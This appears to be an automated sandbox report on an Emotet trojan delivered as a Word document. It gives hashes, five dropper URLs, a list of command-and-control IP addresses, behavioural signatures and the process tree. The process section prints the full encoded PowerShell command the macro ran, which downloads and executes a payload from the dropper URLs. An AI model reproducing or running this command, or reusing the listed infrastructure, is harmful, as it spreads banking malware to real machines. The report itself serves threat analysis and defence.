Overview

overview

10

Static

static

8

REP_FB9700...EB.doc

windows7_x64

10

REP_FB9700...EB.doc

windows10_x64

10

Analysis

  • max time kernel
    111s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    10/08/2020, 15:02

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General

  • Target
    REP_FB9700111348EB.doc
  • Size 229KB
  • Sample200810-bc9dghtees
  • SHA256 ba8a55e6d45475b84108295af3222045dbda0e098d4525c9b63f2dd93f6f2d8d
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://andreortega.com/erros/nt_ozq2y_k6s88xxcau/
  • exe.dropper

    http://tony.blvrdev.com/admin/mt2f7_7pd0u_1bhbba/
  • exe.dropper

    http://zerohungerapp.com/kzbst/p_3_lqo8eaj/
  • exe.dropper

    http://tool.myportalx.com/cgi-bin/b_1_b5ce/
  • exe.dropper

    http://illhaqsteeleng.com/ghp3wu/27yja_wwgc8_570/

Extracted

Family

  • emotet

C2

  • 74.120.55.163:80

  • 176.10.250.88:8080

  • 96.8.113.4:8080

  • 137.59.187.107:8080

  • 74.208.45.104:8080

  • 104.131.11.150:443

  • 110.145.77.103:80

  • 87.106.136.232:8080

  • 114.146.222.200:80

  • 37.187.72.193:8080

  • 181.230.116.163:80

  • 70.167.215.250:8080

  • 103.86.49.11:8080

  • 201.173.217.124:443

  • 109.74.5.95:8080

  • 95.213.236.64:8080

  • 5.39.91.110:7080

  • 78.24.219.147:8080

  • 81.2.235.111:8080

  • 183.101.175.193:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Drops file in System32 directory 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_FB9700111348EB.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1512
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAFkAUABLAFYAZQBrAHUAPQAnAEUASwBWAEcARQBlAG0AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAHUAYABSAGkAdABZAFAAYABSAG8AdABvAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABQAEIATwBIAEsAbQBnAHIAIAA9ACAAJwAzADEANgAnADsAJABVAFQAQQBEAEkAbABwAG0APQAnAEQASQBIAFkARgBrAGgAegAnADsAJABKAEEAVABGAFYAdQBkAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAQgBPAEgASwBtAGcAcgArACcALgBlAHgAZQAnADsAJABZAEUATwBVAEIAagB6AHkAPQAnAEoAWABLAFYAUgBkAGQAeAAnADsAJABPAFMAUQBBAEMAbwBiAGkAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBsAEkARQBuAHQAOwAkAFoATwBWAEgAUgBpAGYAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAG4AZAByAGUAbwByAHQAZQBnAGEALgBjAG8AbQAvAGUAcgByAG8AcwAvAG4AdABfAG8AegBxADIAeQBfAGsANgBzADgAOAB4AHgAYwBhAHUALwAqAGgAdAB0AHAAOgAvAC8AdABvAG4AeQAuAGIAbAB2AHIAZABlAHYALgBjAG8AbQAvAGEAZABtAGkAbgAvAG0AdAAyAGYANwBfADcAcABkADAAdQBfADEAYgBoAGIAYgBhAC8AKgBoAHQAdABwADoALwAvAHoAZQByAG8AaAB1AG4AZwBlAHIAYQBwAHAALgBjAG8AbQAvAGsAegBiAHMAdAAvAHAAXwAzAF8AbABxAG8AOABlAGEAagAvACoAaAB0AHQAcAA6AC8ALwB0AG8AbwBsAC4AbQB5AHAAbwByAHQAYQBsAHgALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBiAF8AMQBfAGIANQBjAGUALwAqAGgAdAB0AHAAOgAvAC8AaQBsAGwAaABhAHEAcwB0AGUAZQBsAGUAbgBnAC4AYwBvAG0ALwBnAGgAcAAzAHcAdQAvADIANwB5AGoAYQBfAHcAdwBnAGMAOABfADUANwAwAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFYASABZAEYAcgB1AHEAPQAnAFgATABQAFcAVwBmAGEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABTAFQARQBYAGoAdgB5ACAAaQBuACAAJABaAE8AVgBIAFIAaQBmAG8AKQB7AHQAcgB5AHsAJABPAFMAUQBBAEMAbwBiAGkALgAiAEQAYABvAHcATgBgAEwAYABPAGEARABGAGkATABlACIAKAAkAEwAUwBUAEUAWABqAHYAeQAsACAAJABKAEEAVABGAFYAdQBkAGkAKQA7ACQATgBaAFIAUgBFAGoAawBnAD0AJwBGAEgAUgBEAFUAaQBlAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABKAEEAVABGAFYAdQBkAGkAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMAMQA4ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGEAYABUAEUAIgAoACQASgBBAFQARgBWAHUAZABpACkAOwAkAFoAWgBYAEEASwBoAGIAbQA9ACcATQBBAEYAVgBYAGEAcQB5ACcAOwBiAHIAZQBhAGsAOwAkAFUAUQBYAE8AWQBjAG8AaQA9ACcAVQBSAEgAUwBCAGEAdgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAWQBIAEsAQwB3AHkAdQA9ACcAQQBNAFQAQwBEAGoAcABhACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1828
  • C:\Users\Admin\316.exe
    C:\Users\Admin\316.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1780
    • C:\Windows\SysWOW64\sbunattend\wavemsp.exe
      "C:\Windows\SysWOW64\sbunattend\wavemsp.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1640

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1512-4-0x0000000007170000-0x0000000007370000-memory.dmp
        Download

        memory/1512-5-0x000000000AF90000-0x000000000AF94000-memory.dmp
        Download

        memory/1512-6-0x000000000C010000-0x000000000C014000-memory.dmp
        Download

        memory/1512-9-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1512-2-0x0000000008B20000-0x0000000008B24000-memory.dmp
        Download

        memory/1640-24-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1640-23-0x0000000000533000-0x0000000000534000-memory.dmp
        Download

        memory/1780-20-0x0000000000320000-0x000000000032C000-memory.dmp
        Download

        memory/1780-19-0x00000000004E3000-0x00000000004E4000-memory.dmp
        Download

        memory/1828-8-0x000007FEF2090000-0x000007FEF2A7C000-memory.dmp
        Download

        memory/1828-16-0x000000001C470000-0x000000001C471000-memory.dmp
        Download

        memory/1828-15-0x000000001C2D0000-0x000000001C2D1000-memory.dmp
        Download

        memory/1828-14-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1828-13-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1828-12-0x000000001AB00000-0x000000001AB01000-memory.dmp
        Download

        memory/1828-11-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Download

        memory/1960-25-0x000007FEF27B0000-0x000007FEF2A2A000-memory.dmp
        Download